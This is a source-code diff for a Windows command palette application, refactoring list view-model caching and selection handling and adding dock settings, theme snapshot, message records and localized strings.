@@ -89,12 +95,12 @@ public partial class ListViewModel : PageViewModel, IDisposable
}
}
public ListViewModel(IListPage model, TaskScheduler scheduler, AppExtensionHost host, CommandProviderContext providerContext, IContextMenuFactory? contextMenuFactory)
public ListViewModel(IListPage model, TaskScheduler scheduler, AppExtensionHost host, ICommandProviderContext providerContext, IContextMenuFactory contextMenuFactory)
: base(model, scheduler, host, providerContext)
{
_model = new(model);
_contextMenuFactory = contextMenuFactory;
EmptyContent = new(new(null), PageContext, _contextMenuFactory);
EmptyContent = new(new(null), PageContext, contextMenuFactory: null);
}
private void FiltersPropertyChanged(object? sender, System.ComponentModel.PropertyChangedEventArgs e)
@@ -113,10 +119,6 @@ public partial class ListViewModel : PageViewModel, IDisposable
protected override void OnSearchTextBoxUpdated(string searchTextBox)
{
//// TODO: Just temp testing, need to think about where we want to filter, as AdvancedCollectionView in View could be done, but then grouping need CollectionViewSource, maybe we do grouping in view
//// and manage filtering below, but we should be smarter about this and understand caching and other requirements...
//// Investigate if we re-use src\modules\cmdpal\extensionsdk\Microsoft.CommandPalette.Extensions.Toolkit\ListHelpers.cs InPlaceUpdateList and FilterList?
// Dynamic pages will handler their own filtering. They will tell us if
// something needs to change, by raising ItemsChanged.
if (_isDynamic)
@@ -132,24 +134,24 @@ public partial class ListViewModel : PageViewModel, IDisposable
// concurrently.
_ = filterTaskFactory.StartNew(
() =>
{
filterCancellationTokenSource.Token.ThrowIfCancellationRequested();
{
filterCancellationTokenSource.Token.ThrowIfCancellationRequested();
try
{
if (_model.Unsafe is IDynamicListPage dynamic)
try
{
dynamic.SearchText = searchTextBox;
if (_model.Unsafe is IDynamicListPage dynamic)
{
dynamic.SearchText = searchTextBox;
}
}
}
catch (OperationCanceledException)
{
}
catch (Exception ex)
{
ShowException(ex, _model?.Unsafe?.Name);
}
},
catch (OperationCanceledException)
{
}
catch (Exception ex)
{
ShowException(ex, _model?.Unsafe?.Name);
}
},
filterCancellationTokenSource.Token,
TaskCreationOptions.None,
filterTaskFactory.Scheduler!);
@@ -162,7 +164,7 @@ public partial class ListViewModel : PageViewModel, IDisposable
ApplyFilterUnderLock();
}
ItemsUpdated?.Invoke(this, EventArgs.Empty);
ItemsUpdated?.Invoke(this, new ItemsUpdatedEventArgs(true));
UpdateEmptyContent();
_isLoading.Clear();
}
@@ -198,12 +200,10 @@ public partial class ListViewModel : PageViewModel, IDisposable
var cancellationToken = _fetchItemsCancellationTokenSource.Token;
// TEMPORARY: just plop all the items into a single group
// see 9806fe5d8 for the last commit that had this with sections
_isFetching = true;
// Collect all the items into new viewmodels
Collection<ListItemViewModel> newViewModels = [];
List<ListItemViewModel> newViewModels = [];
try
{
@@ -221,30 +221,57 @@ public partial class ListViewModel : PageViewModel, IDisposable
return;
}
// TODO we can probably further optimize this by also keeping a
// HashSet of every ExtensionObject we currently have, and only
// building new viewmodels for the ones we haven't already built.
var showsTitle = GridProperties?.ShowTitle ?? true;
var showsSubtitle = GridProperties?.ShowSubtitle ?? true;
var created = 0;
var reused = 0;
foreach (var item in newItems)
{
// Check for cancellation during item processing
if (cancellationToken.IsCancellationRequested)
try
{
return;
if (item is null)
{
continue;
}
// Check for cancellation during item processing
if (cancellationToken.IsCancellationRequested)
{
return;
}
if (_vmCache.TryGetValue(item, out var existing))
{
existing.LayoutShowsTitle = showsTitle;
existing.LayoutShowsSubtitle = showsSubtitle;
newViewModels.Add(existing);
reused++;
continue;
}
var viewModel = new ListItemViewModel(item, new(this), _contextMenuFactory);
// If an item fails to load, silently ignore it.
if (viewModel.SafeFastInit())
{
viewModel.LayoutShowsTitle = showsTitle;
viewModel.LayoutShowsSubtitle = showsSubtitle;
_vmCache[item] = viewModel;
newViewModels.Add(viewModel);
created++;
}
}
ListItemViewModel viewModel = new(item, new(this));
// If an item fails to load, silently ignore it.
if (viewModel.SafeFastInit())
catch (Exception ex)
{
viewModel.LayoutShowsTitle = showsTitle;
viewModel.LayoutShowsSubtitle = showsSubtitle;
newViewModels.Add(viewModel);
CoreLogger.LogError("Failed to load item:\n", ex + ToString());
}
}
#if DEBUG
CoreLogger.LogInfo($"[ListViewModel] FetchItems: {created} created, {reused} reused, {_vmCache.Count} cached");
#endif
// Check for cancellation before initializing first twenty items
if (cancellationToken.IsCancellationRequested)
{
@@ -271,13 +298,22 @@ public partial class ListViewModel : PageViewModel, IDisposable
return;
}
List<ListItemViewModel> removedItems = [];
List<ListItemViewModel> removedItems;
lock (_listLock)
{
// Now that we have new ViewModels for everything from the
// extension, smartly update our list of VMs
ListHelpers.InPlaceUpdateList(Items, newViewModels, out removedItems);
_vmCache.Clear();
foreach (var vm in newViewModels)
{
if (vm.Model.Unsafe is { } li)
{
_vmCache[li] = vm;
}
}
// DO NOT ThrowIfCancellationRequested AFTER THIS! If you do,
// you'll clean up list items that we've now transferred into
// .Items
@@ -288,9 +324,6 @@ public partial class ListViewModel : PageViewModel, IDisposable
{
removedItem.SafeCleanup();
}
// TODO: Iterate over everything in Items, and prune items from the
// cache if we don't need them anymore
}
catch (OperationCanceledException)
{
@@ -342,13 +375,14 @@ public partial class ListViewModel : PageViewModel, IDisposable
{
// A dynamic list? Even better! Just stick everything into
// FilteredItems. The extension already did any filtering it cared about.
ListHelpers.InPlaceUpdateList(FilteredItems, Items.Where(i => !i.IsInErrorState));
var snapshot = Items.Where(i => !i.IsInErrorState).ToList();
ListHelpers.InPlaceUpdateList(FilteredItems, snapshot);
}
UpdateEmptyContent();
}
ItemsUpdated?.Invoke(this, EventArgs.Empty);
ItemsUpdated?.Invoke(this, new ItemsUpdatedEventArgs(IsRootPage));
_isLoading.Clear();
});
}
@@ -485,40 +519,58 @@ public partial class ListViewModel : PageViewModel, IDisposable
private void SetSelectedItem(ListItemViewModel item)
{
if (!item.SafeSlowInit())
{
// Even if initialization fails, we need to hide any previously shown details
DoOnUiThread(() =>
{
WeakReferenceMessenger.Default.Send<HideDetailsMessage>();
});
return;
}
// GH #322:
// For inexplicable reasons, if you try updating the command bar and
// the details on the same UI thread tick as updating the list, we'll
// explode
DoOnUiThread(
() =>
{
WeakReferenceMessenger.Default.Send<UpdateCommandBarMessage>(new(item));
if (ShowDetails && item.HasDetails)
{
WeakReferenceMessenger.Default.Send<ShowDetailsMessage>(new(item.Details));
}
else
{
WeakReferenceMessenger.Default.Send<HideDetailsMessage>();
}
TextToSuggest = item.TextToSuggest;
WeakReferenceMessenger.Default.Send<UpdateSuggestionMessage>(new(item.TextToSuggest));
});
_lastSelectedItem = item;
_lastSelectedItem.PropertyChanged += SelectedItemPropertyChanged;
WeakReferenceMessenger.Default.Send<UpdateCommandBarMessage>(new(item));
// Cancel any in-flight slow init from a previous selection and defer
// the expensive work (extension IPC for MoreCommands, details) so
// rapid arrow-key navigation skips intermediate items entirely.
_selectedItemCts?.Cancel();
var cts = _selectedItemCts = new CancellationTokenSource();
var ct = cts.Token;
_ = Task.Run(
() =>
{
if (ct.IsCancellationRequested)
{
return;
}
if (!item.SafeSlowInit())
{
if (ct.IsCancellationRequested)
{
return;
}
WeakReferenceMessenger.Default.Send<HideDetailsMessage>();
return;
}
if (ct.IsCancellationRequested)
{
return;
}
// SafeSlowInit completed on a background thread — details
// messages will be marshalled to the UI thread by the receiver.
if (ShowDetails && item.HasDetails)
{
WeakReferenceMessenger.Default.Send<ShowDetailsMessage>(new(item.Details));
}
else
{
WeakReferenceMessenger.Default.Send<HideDetailsMessage>();
}
TextToSuggest = item.TextToSuggest;
WeakReferenceMessenger.Default.Send<UpdateSuggestionMessage>(new(item.TextToSuggest));
},
ct);
}
private void SelectedItemPropertyChanged(object? sender, System.ComponentModel.PropertyChangedEventArgs e)
@@ -557,21 +609,12 @@ public partial class ListViewModel : PageViewModel, IDisposable
private void ClearSelectedItem()
{
// GH #322:
// For inexplicable reasons, if you try updating the command bar and
// the details on the same UI thread tick as updating the list, we'll
// explode
DoOnUiThread(
() =>
{
WeakReferenceMessenger.Default.Send<UpdateCommandBarMessage>(new(null));
_selectedItemCts?.Cancel();
WeakReferenceMessenger.Default.Send<HideDetailsMessage>();
WeakReferenceMessenger.Default.Send<UpdateSuggestionMessage>(new(string.Empty));
TextToSuggest = string.Empty;
});
WeakReferenceMessenger.Default.Send<UpdateCommandBarMessage>(new(null));
WeakReferenceMessenger.Default.Send<HideDetailsMessage>();
WeakReferenceMessenger.Default.Send<UpdateSuggestionMessage>(new(string.Empty));
TextToSuggest = string.Empty;
}
public override void InitializeProperties()
@@ -604,7 +647,7 @@ public partial class ListViewModel : PageViewModel, IDisposable
UpdateProperty(nameof(SearchText));
UpdateProperty(nameof(InitialSearchText));
EmptyContent = new(new(model.EmptyContent), PageContext);
EmptyContent = new(new(model.EmptyContent), PageContext, _contextMenuFactory);
EmptyContent.SlowInitializeProperties();
Filters?.PropertyChanged -= FiltersPropertyChanged;
@@ -700,7 +743,7 @@ public partial class ListViewModel : PageViewModel, IDisposable
SearchText = model.SearchText;
break;
case nameof(EmptyContent):
EmptyContent = new(new(model.EmptyContent), PageContext);
EmptyContent = new(new(model.EmptyContent), PageContext, contextMenuFactory: null);
EmptyContent.SlowInitializeProperties();
break;
case nameof(Filters):
@@ -763,6 +806,10 @@ public partial class ListViewModel : PageViewModel, IDisposable
_fetchItemsCancellationTokenSource?.Cancel();
_fetchItemsCancellationTokenSource?.Dispose();
_fetchItemsCancellationTokenSource = null;
_selectedItemCts?.Cancel();
_selectedItemCts?.Dispose();
_selectedItemCts = null;
}
protected override void UnsafeCleanup()
@@ -770,11 +817,12 @@ public partial class ListViewModel : PageViewModel, IDisposable
base.UnsafeCleanup();
EmptyContent?.SafeCleanup();
EmptyContent = new(new(null), PageContext); // necessary?
EmptyContent = new(new(null), PageContext, contextMenuFactory: null); // necessary?
_cancellationTokenSource?.Cancel();
filterCancellationTokenSource?.Cancel();
_fetchItemsCancellationTokenSource?.Cancel();
_selectedItemCts?.Cancel();
lock (_listLock)
{
@@ -801,4 +849,11 @@ public partial class ListViewModel : PageViewModel, IDisposable
model.ItemsChanged -= Model_ItemsChanged;
}
}
private sealed class ProxyReferenceEqualityComparer : IEqualityComparer<IListItem>
{
public bool Equals(IListItem? x, IListItem? y) => ReferenceEquals(x, y);
public int GetHashCode(IListItem obj) => RuntimeHelpers.GetHashCode(obj);
}
}

View File

@@ -12,6 +12,7 @@ public partial class LoadingPageViewModel : PageViewModel
: base(model, scheduler, host, CommandProviderContext.Empty)
{
ModelIsLoading = true;
HasBackButton = false;
IsInitialized = false;
}
}

View File

@@ -0,0 +1,7 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
namespace Microsoft.CmdPal.UI.ViewModels.Messages;
public record EnterDockEditModeMessage();

View File

@@ -4,4 +4,4 @@
namespace Microsoft.CmdPal.UI.ViewModels.Messages;
public record NavigateToPageMessage(PageViewModel Page, bool WithAnimation, CancellationToken CancellationToken);
public record NavigateToPageMessage(PageViewModel Page, bool WithAnimation, CancellationToken CancellationToken, bool TransientPage = false);

View File

@@ -18,6 +18,8 @@ public record PerformCommandMessage
public bool WithAnimation { get; set; } = true;
public bool TransientPage { get; set; }
public PerformCommandMessage(ExtensionObject<ICommand> command)
{
Command = command;

View File

@@ -0,0 +1,7 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
namespace Microsoft.CmdPal.UI.ViewModels.Messages;
public record PinToDockMessage(string ProviderId, string CommandId, bool Pin);

View File

@@ -0,0 +1,7 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
namespace Microsoft.CmdPal.UI.ViewModels.Messages;
public record ShowHideDockMessage(bool ShowDock);

View File

@@ -0,0 +1,11 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
namespace Microsoft.CmdPal.UI.ViewModels.Messages;
/// <summary>
/// Telemetry message sent when the dock is initialized.
/// Captures the dock configuration for telemetry tracking.
/// </summary>
public record TelemetryDockConfigurationMessage(bool IsDockEnabled, string DockSide, string StartBands, string CenterBands, string EndBands);

View File

@@ -0,0 +1,7 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
namespace Microsoft.CmdPal.UI.ViewModels.Messages;
public record UnpinCommandItemMessage(string ProviderId, string CommandId);

View File

@@ -0,0 +1,7 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
namespace Microsoft.CmdPal.ViewModels.Messages;
public sealed record WindowHiddenMessage();

View File

@@ -18,7 +18,7 @@
<CsWinRTIncludes>AdaptiveCards.ObjectModel.WinUI3;AdaptiveCards.Rendering.WinUI3</CsWinRTIncludes>
<CsWinRTAotOptimizerEnabled>true</CsWinRTAotOptimizerEnabled>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="CommunityToolkit.Common" />
<PackageReference Include="CommunityToolkit.Mvvm" />
@@ -40,21 +40,21 @@
<PackageReference Include="WyHash" />
</ItemGroup>
<!-- <AdaptiveCardsWorkaround> -->
<!-- Workaround for Adaptive Cards not supporting correct RIDs when using .NET 8.
<!-- <AdaptiveCardsWorkaround> -->
<!-- Workaround for Adaptive Cards not supporting correct RIDs when using .NET 8.
Don't forget GeneratePathProperty on the AdaptiveCards PackageReference's above -->
<PropertyGroup>
<AdaptiveCardsNative>runtimes\win10-$(Platform)\native</AdaptiveCardsNative>
</PropertyGroup>
<ItemGroup>
<CsWinRTInputs Include="$(PkgAdaptiveCards_ObjectModel_WinUI3)\lib\uap10.0\AdaptiveCards.ObjectModel.WinUI3.winmd" />
<None Include="$(PkgAdaptiveCards_ObjectModel_WinUI3)\$(AdaptiveCardsNative)\AdaptiveCards.ObjectModel.WinUI3.dll" CopyToOutputDirectory="PreserveNewest" />
</ItemGroup>
<ItemGroup>
<CsWinRTInputs Include="$(PkgAdaptiveCards_Rendering_WinUI3)\lib\uap10.0\AdaptiveCards.Rendering.WinUI3.winmd" />
<Content Include="$(PkgAdaptiveCards_Rendering_WinUI3)\$(AdaptiveCardsNative)\AdaptiveCards.Rendering.WinUI3.dll" CopyToOutputDirectory="PreserveNewest" />
</ItemGroup>
<PropertyGroup>
<AdaptiveCardsNative>runtimes\win10-$(Platform)\native</AdaptiveCardsNative>
</PropertyGroup>
<ItemGroup>
<CsWinRTInputs Include="$(PkgAdaptiveCards_ObjectModel_WinUI3)\lib\uap10.0\AdaptiveCards.ObjectModel.WinUI3.winmd" />
<None Include="$(PkgAdaptiveCards_ObjectModel_WinUI3)\$(AdaptiveCardsNative)\AdaptiveCards.ObjectModel.WinUI3.dll" CopyToOutputDirectory="PreserveNewest" />
</ItemGroup>
<ItemGroup>
<CsWinRTInputs Include="$(PkgAdaptiveCards_Rendering_WinUI3)\lib\uap10.0\AdaptiveCards.Rendering.WinUI3.winmd" />
<Content Include="$(PkgAdaptiveCards_Rendering_WinUI3)\$(AdaptiveCardsNative)\AdaptiveCards.Rendering.WinUI3.dll" CopyToOutputDirectory="PreserveNewest" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\extensionsdk\Microsoft.CommandPalette.Extensions.Toolkit\Microsoft.CommandPalette.Extensions.Toolkit.csproj" />

View File

@@ -4,5 +4,11 @@
namespace Microsoft.CmdPal.UI.ViewModels;
internal sealed partial class NullPageViewModel(TaskScheduler scheduler, AppExtensionHost extensionHost)
: PageViewModel(null, scheduler, extensionHost, CommandProviderContext.Empty);
internal sealed partial class NullPageViewModel : PageViewModel
{
internal NullPageViewModel(TaskScheduler scheduler, AppExtensionHost extensionHost)
: base(null, scheduler, extensionHost, CommandProviderContext.Empty)
{
HasBackButton = false;
}
}

View File

@@ -26,8 +26,25 @@ public partial class PageViewModel : ExtensionObjectViewModel, IPageContext
[ObservableProperty]
public partial string ErrorMessage { get; protected set; } = string.Empty;
/// <summary>
/// Explicitly: is this page, the VM for the root page. This is used
/// slightly differently than being "nested". When we open CmdPal as a
/// transient window, we want that page to not have a back button, but that
/// page is _not_ the root page.
///
/// Later in ListViewModel, we will have logic that checks if it is the root
/// page, and modify how selection is handled when the list changes.
/// </summary>
[ObservableProperty]
public partial bool IsNested { get; set; } = true;
public partial bool IsRootPage { get; set; } = true;
/// <summary>
/// This is used to determine whether to show the back button on this page.
/// When a nested page is opened for the transient "dock flyout" window,
/// then we don't want to show the back button.
/// </summary>
[ObservableProperty]
public partial bool HasBackButton { get; set; } = true;
// This is set from the SearchBar
[ObservableProperty]
@@ -76,9 +93,9 @@ public partial class PageViewModel : ExtensionObjectViewModel, IPageContext
public IconInfoViewModel Icon { get; protected set; }
public CommandProviderContext ProviderContext { get; protected set; }
public ICommandProviderContext ProviderContext { get; protected set; }
public PageViewModel(IPage? model, TaskScheduler scheduler, AppExtensionHost extensionHost, CommandProviderContext providerContext)
public PageViewModel(IPage? model, TaskScheduler scheduler, AppExtensionHost extensionHost, ICommandProviderContext providerContext)
: base(scheduler)
{
InitializeSelfAsPageContext();
@@ -267,6 +284,8 @@ public interface IPageContext
void ShowException(Exception ex, string? extensionHint = null);
TaskScheduler Scheduler { get; }
ICommandProviderContext ProviderContext { get; }
}
public interface IPageViewModelFactoryService
@@ -278,5 +297,5 @@ public interface IPageViewModelFactoryService
/// <param name="nested">Indicates whether the page is not the top-level page.</param>
/// <param name="host">The command palette host that will host the page (for status messages)</param>
/// <returns>A new instance of the page view model.</returns>
PageViewModel? TryCreatePageViewModel(IPage page, bool nested, AppExtensionHost host, CommandProviderContext providerContext);
PageViewModel? TryCreatePageViewModel(IPage page, bool nested, AppExtensionHost host, ICommandProviderContext providerContext);
}

View File

@@ -19,7 +19,7 @@ namespace Microsoft.CmdPal.UI.ViewModels.Properties {
// class via a tool like ResGen or Visual Studio.
// To add or remove a member, edit your .ResX file then rerun ResGen
// with the /str option, or rebuild your VS project.
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "18.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
public class Resources {
@@ -60,6 +60,15 @@ namespace Microsoft.CmdPal.UI.ViewModels.Properties {
}
}
/// <summary>
/// Looks up a localized string similar to Open Command Palette.
/// </summary>
public static string builtin_command_palette_title {
get {
return ResourceManager.GetString("builtin_command_palette_title", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Create another.
/// </summary>
@@ -294,6 +303,15 @@ namespace Microsoft.CmdPal.UI.ViewModels.Properties {
}
}
/// <summary>
/// Looks up a localized string similar to Built-in.
/// </summary>
public static string builtin_extension_name_fallback {
get {
return ResourceManager.GetString("builtin_extension_name_fallback", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to {0}, {1} commands.
/// </summary>
@@ -465,6 +483,42 @@ namespace Microsoft.CmdPal.UI.ViewModels.Properties {
}
}
/// <summary>
/// Looks up a localized string similar to Edit dock.
/// </summary>
public static string dock_edit_dock_name {
get {
return ResourceManager.GetString("dock_edit_dock_name", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to {0} items.
/// </summary>
public static string dock_item_count_plural {
get {
return ResourceManager.GetString("dock_item_count_plural", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to 1 item.
/// </summary>
public static string dock_item_count_singular {
get {
return ResourceManager.GetString("dock_item_count_singular", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Dock settings.
/// </summary>
public static string dock_settings_name {
get {
return ResourceManager.GetString("dock_settings_name", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Fallbacks.
/// </summary>
@@ -474,6 +528,23 @@ namespace Microsoft.CmdPal.UI.ViewModels.Properties {
}
}
/// <summary>
/// Looks up a localized string similar to Pinned.
/// </summary>
public static string PinnedItemSuffix {
get {
return ResourceManager.GetString("PinnedItemSuffix", resourceCulture);
}
}
/// Looks up a localized string similar to Results.
/// </summary>
public static string results {
get {
return ResourceManager.GetString("results", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Show details.
/// </summary>

View File

@@ -254,14 +254,46 @@
<data name="builtin_settings_extension_n_extensions_installed" xml:space="preserve">
<value>{0} extensions installed</value>
</data>
<data name="builtin_extension_name_fallback" xml:space="preserve">
<value>Built-in</value>
<comment>Fallback name for built-in extensions</comment>
</data>
<data name="dock_item_count_singular" xml:space="preserve">
<value>1 item</value>
<comment>Singular form for item count in dock band</comment>
</data>
<data name="dock_item_count_plural" xml:space="preserve">
<value>{0} items</value>
<comment>Plural form for item count in dock band</comment>
</data>
<data name="builtin_command_palette_title" xml:space="preserve">
<value>Open Command Palette</value>
<comment>Title for the command to open the command palette</comment>
</data>
<data name="builtin_settings_appearance_pick_background_image_title" xml:space="preserve">
<value>Pick background image</value>
</data>
<data name="fallbacks" xml:space="preserve">
<value>Fallbacks</value>
</data>
<data name="dock_edit_dock_name" xml:space="preserve">
<value>Edit dock</value>
<comment>Command name for editing the dock</comment>
</data>
<data name="dock_settings_name" xml:space="preserve">
<value>Dock settings</value>
<comment>Command name for opening dock settings</comment>
</data>
<data name="ShowDetailsCommand" xml:space="preserve">
<value>Show details</value>
<comment>Name for the command that shows details of an item</comment>
</data>
<data name="PinnedItemSuffix" xml:space="preserve">
<value>Pinned</value>
<comment>Suffix shown for pinned items in the dock</comment>
</data>
<data name="results" xml:space="preserve">
<value>Results</value>
<comment>Section title for list of all search results that doesn't fall into any other category</comment>
</data>
</root>

View File

@@ -0,0 +1,73 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using Microsoft.CmdPal.UI.ViewModels.Settings;
using Microsoft.UI.Xaml;
using Microsoft.UI.Xaml.Media;
using Windows.UI;
namespace Microsoft.CmdPal.UI.ViewModels.Services;
/// <summary>
/// Represents a snapshot of dock theme-related visual settings, including accent color, theme preference,
/// backdrop, and background image configuration, for use in rendering the Dock UI.
/// </summary>
public sealed class DockThemeSnapshot
{
/// <summary>
/// Gets the accent tint color used by the Dock visuals.
/// </summary>
public required Color Tint { get; init; }
/// <summary>
/// Gets the intensity of the accent tint color (0-1 range).
/// </summary>
public required float TintIntensity { get; init; }
/// <summary>
/// Gets the configured application theme preference for the Dock.
/// </summary>
public required ElementTheme Theme { get; init; }
/// <summary>
/// Gets the backdrop type for the Dock.
/// </summary>
public required DockBackdrop Backdrop { get; init; }
/// <summary>
/// Gets the image source to render as the background, if any.
/// </summary>
/// <remarks>
/// Returns <see langword="null"/> when no background image is configured.
/// </remarks>
public required ImageSource? BackgroundImageSource { get; init; }
/// <summary>
/// Gets the stretch mode used to lay out the background image.
/// </summary>
public required Stretch BackgroundImageStretch { get; init; }
/// <summary>
/// Gets the opacity applied to the background image.
/// </summary>
/// <value>
/// A value in the range [0, 1], where 0 is fully transparent and 1 is fully opaque.
/// </value>
public required double BackgroundImageOpacity { get; init; }
/// <summary>
/// Gets the effective acrylic backdrop parameters based on current settings and theme.
/// </summary>
public required BackdropParameters BackdropParameters { get; init; }
/// <summary>
/// Gets the blur amount for the background image.
/// </summary>
public required int BlurAmount { get; init; }
/// <summary>
/// Gets the brightness adjustment for the background (0-1 range).
/// </summary>
public required float BackgroundBrightness { get; init; }
}

View File

@@ -2,6 +2,8 @@
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using Microsoft.CmdPal.UI.ViewModels.Settings;
namespace Microsoft.CmdPal.UI.ViewModels.Services;
/// <summary>
@@ -36,4 +38,9 @@ public interface IThemeService
/// Gets the current theme settings.
/// </summary>
ThemeSnapshot Current { get; }
/// <summary>
/// Gets the current dock theme settings.
/// </summary>
DockThemeSnapshot CurrentDockTheme { get; }
}

View File

@@ -0,0 +1,172 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System.Text.Json.Serialization;
using Microsoft.UI;
using Windows.UI;
namespace Microsoft.CmdPal.UI.ViewModels.Settings;
#pragma warning disable SA1402 // File may only contain a single type
/// <summary>
/// Settings for the Dock. These are settings for _the whole dock_. Band-specific
/// settings are in <see cref="DockBandSettings"/>.
/// </summary>
public class DockSettings
{
public DockSide Side { get; set; } = DockSide.Top;
public DockSize DockSize { get; set; } = DockSize.Small;
public DockSize DockIconsSize { get; set; } = DockSize.Small;
// <Theme settings>
public DockBackdrop Backdrop { get; set; } = DockBackdrop.Acrylic;
public UserTheme Theme { get; set; } = UserTheme.Default;
public ColorizationMode ColorizationMode { get; set; }
public Color CustomThemeColor { get; set; } = Colors.Transparent;
public int CustomThemeColorIntensity { get; set; } = 100;
public int BackgroundImageOpacity { get; set; } = 20;
public int BackgroundImageBlurAmount { get; set; }
public int BackgroundImageBrightness { get; set; }
public BackgroundImageFit BackgroundImageFit { get; set; }
public string? BackgroundImagePath { get; set; }
// </Theme settings>
// public List<string> PinnedCommands { get; set; } = [];
public List<DockBandSettings> StartBands { get; set; } = [];
public List<DockBandSettings> CenterBands { get; set; } = [];
public List<DockBandSettings> EndBands { get; set; } = [];
public bool ShowLabels { get; set; } = true;
[JsonIgnore]
public IEnumerable<(string ProviderId, string CommandId)> AllPinnedCommands =>
StartBands.Select(b => (b.ProviderId, b.CommandId))
.Concat(CenterBands.Select(b => (b.ProviderId, b.CommandId)))
.Concat(EndBands.Select(b => (b.ProviderId, b.CommandId)));
public DockSettings()
{
// Initialize with default values
// PinnedCommands = [
// "com.microsoft.cmdpal.winget"
// ];
StartBands.Add(new DockBandSettings
{
ProviderId = "com.microsoft.cmdpal.builtin.core",
CommandId = "com.microsoft.cmdpal.home",
});
StartBands.Add(new DockBandSettings
{
ProviderId = "WinGet",
CommandId = "com.microsoft.cmdpal.winget",
ShowLabels = false,
});
EndBands.Add(new DockBandSettings
{
ProviderId = "PerformanceMonitor",
CommandId = "com.microsoft.cmdpal.performanceWidget",
});
EndBands.Add(new DockBandSettings
{
ProviderId = "com.microsoft.cmdpal.builtin.datetime",
CommandId = "com.microsoft.cmdpal.timedate.dockBand",
});
}
}
/// <summary>
/// Settings for a specific dock band. These are per-band settings stored
/// within the overall <see cref="DockSettings"/>.
/// </summary>
public class DockBandSettings
{
public required string ProviderId { get; set; }
public required string CommandId { get; set; }
/// <summary>
/// Gets or sets whether titles are shown for items in this band.
/// If null, falls back to dock-wide ShowLabels setting.
/// </summary>
public bool? ShowTitles { get; set; }
/// <summary>
/// Gets or sets whether subtitles are shown for items in this band.
/// If null, falls back to dock-wide ShowLabels setting.
/// </summary>
public bool? ShowSubtitles { get; set; }
/// <summary>
/// Gets or sets a value for backward compatibility. Maps to ShowTitles.
/// </summary>
[System.Text.Json.Serialization.JsonIgnore]
public bool? ShowLabels
{
get => ShowTitles;
set => ShowTitles = value;
}
/// <summary>
/// Resolves the effective value of <see cref="ShowTitles"/> for this band.
/// If this band doesn't have a specific value set, we'll fall back to the
/// dock-wide setting (passed as <paramref name="defaultValue"/>).
/// </summary>
public bool ResolveShowTitles(bool defaultValue) => ShowTitles ?? defaultValue;
/// <summary>
/// Resolves the effective value of <see cref="ShowSubtitles"/> for this band.
/// If this band doesn't have a specific value set, we'll fall back to the
/// dock-wide setting (passed as <paramref name="defaultValue"/>).
/// </summary>
public bool ResolveShowSubtitles(bool defaultValue) => ShowSubtitles ?? defaultValue;
public DockBandSettings Clone()
{
return new()
{
ProviderId = this.ProviderId,
CommandId = this.CommandId,
ShowTitles = this.ShowTitles,
ShowSubtitles = this.ShowSubtitles,
};
}
}
public enum DockSide
{
Left = 0,
Top = 1,
Right = 2,
Bottom = 3,
}
public enum DockSize
{
Small,
Medium,
Large,
}
public enum DockBackdrop
{
Transparent,
Acrylic,
}
#pragma warning restore SA1402 // File may only contain a single type

View File

@@ -1,4 +1,4 @@
// Copyright (c) Microsoft Corporation
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
@@ -68,6 +68,11 @@ public partial class SettingsModel : ObservableObject
public EscapeKeyBehavior EscapeKeyBehaviorSetting { get; set; } = EscapeKeyBehavior.ClearSearchFirstThenGoBack;
public bool EnableDock { get; set; }
public DockSettings DockSettings { get; set; } = new();
// Theme settings
public UserTheme Theme { get; set; } = UserTheme.Default;
public ColorizationMode ColorizationMode { get; set; }
@@ -92,6 +97,8 @@ public partial class SettingsModel : ObservableObject
public int BackdropOpacity { get; set; } = 100;
// </Theme settings>
// END SETTINGS
///////////////////////////////////////////////////////////////////////////
@@ -230,7 +237,7 @@ public partial class SettingsModel : ObservableObject
return false;
}
public static void SaveSettings(SettingsModel model)
public static void SaveSettings(SettingsModel model, bool hotReload = true)
{
if (string.IsNullOrEmpty(FilePath))
{
@@ -265,7 +272,10 @@ public partial class SettingsModel : ObservableObject
// TODO: Instead of just raising the event here, we should
// have a file change watcher on the settings file, and
// reload the settings then
model.SettingsChanged?.Invoke(model, null);
if (hotReload)
{
model.SettingsChanged?.Invoke(model, null);
}
}
else
{
@@ -311,6 +321,7 @@ public partial class SettingsModel : ObservableObject
[JsonSerializable(typeof(int))]
[JsonSerializable(typeof(string))]
[JsonSerializable(typeof(bool))]
[JsonSerializable(typeof(Color))]
[JsonSerializable(typeof(HistoryItem))]
[JsonSerializable(typeof(SettingsModel))]
[JsonSerializable(typeof(WindowPosition))]

View File

@@ -4,6 +4,8 @@
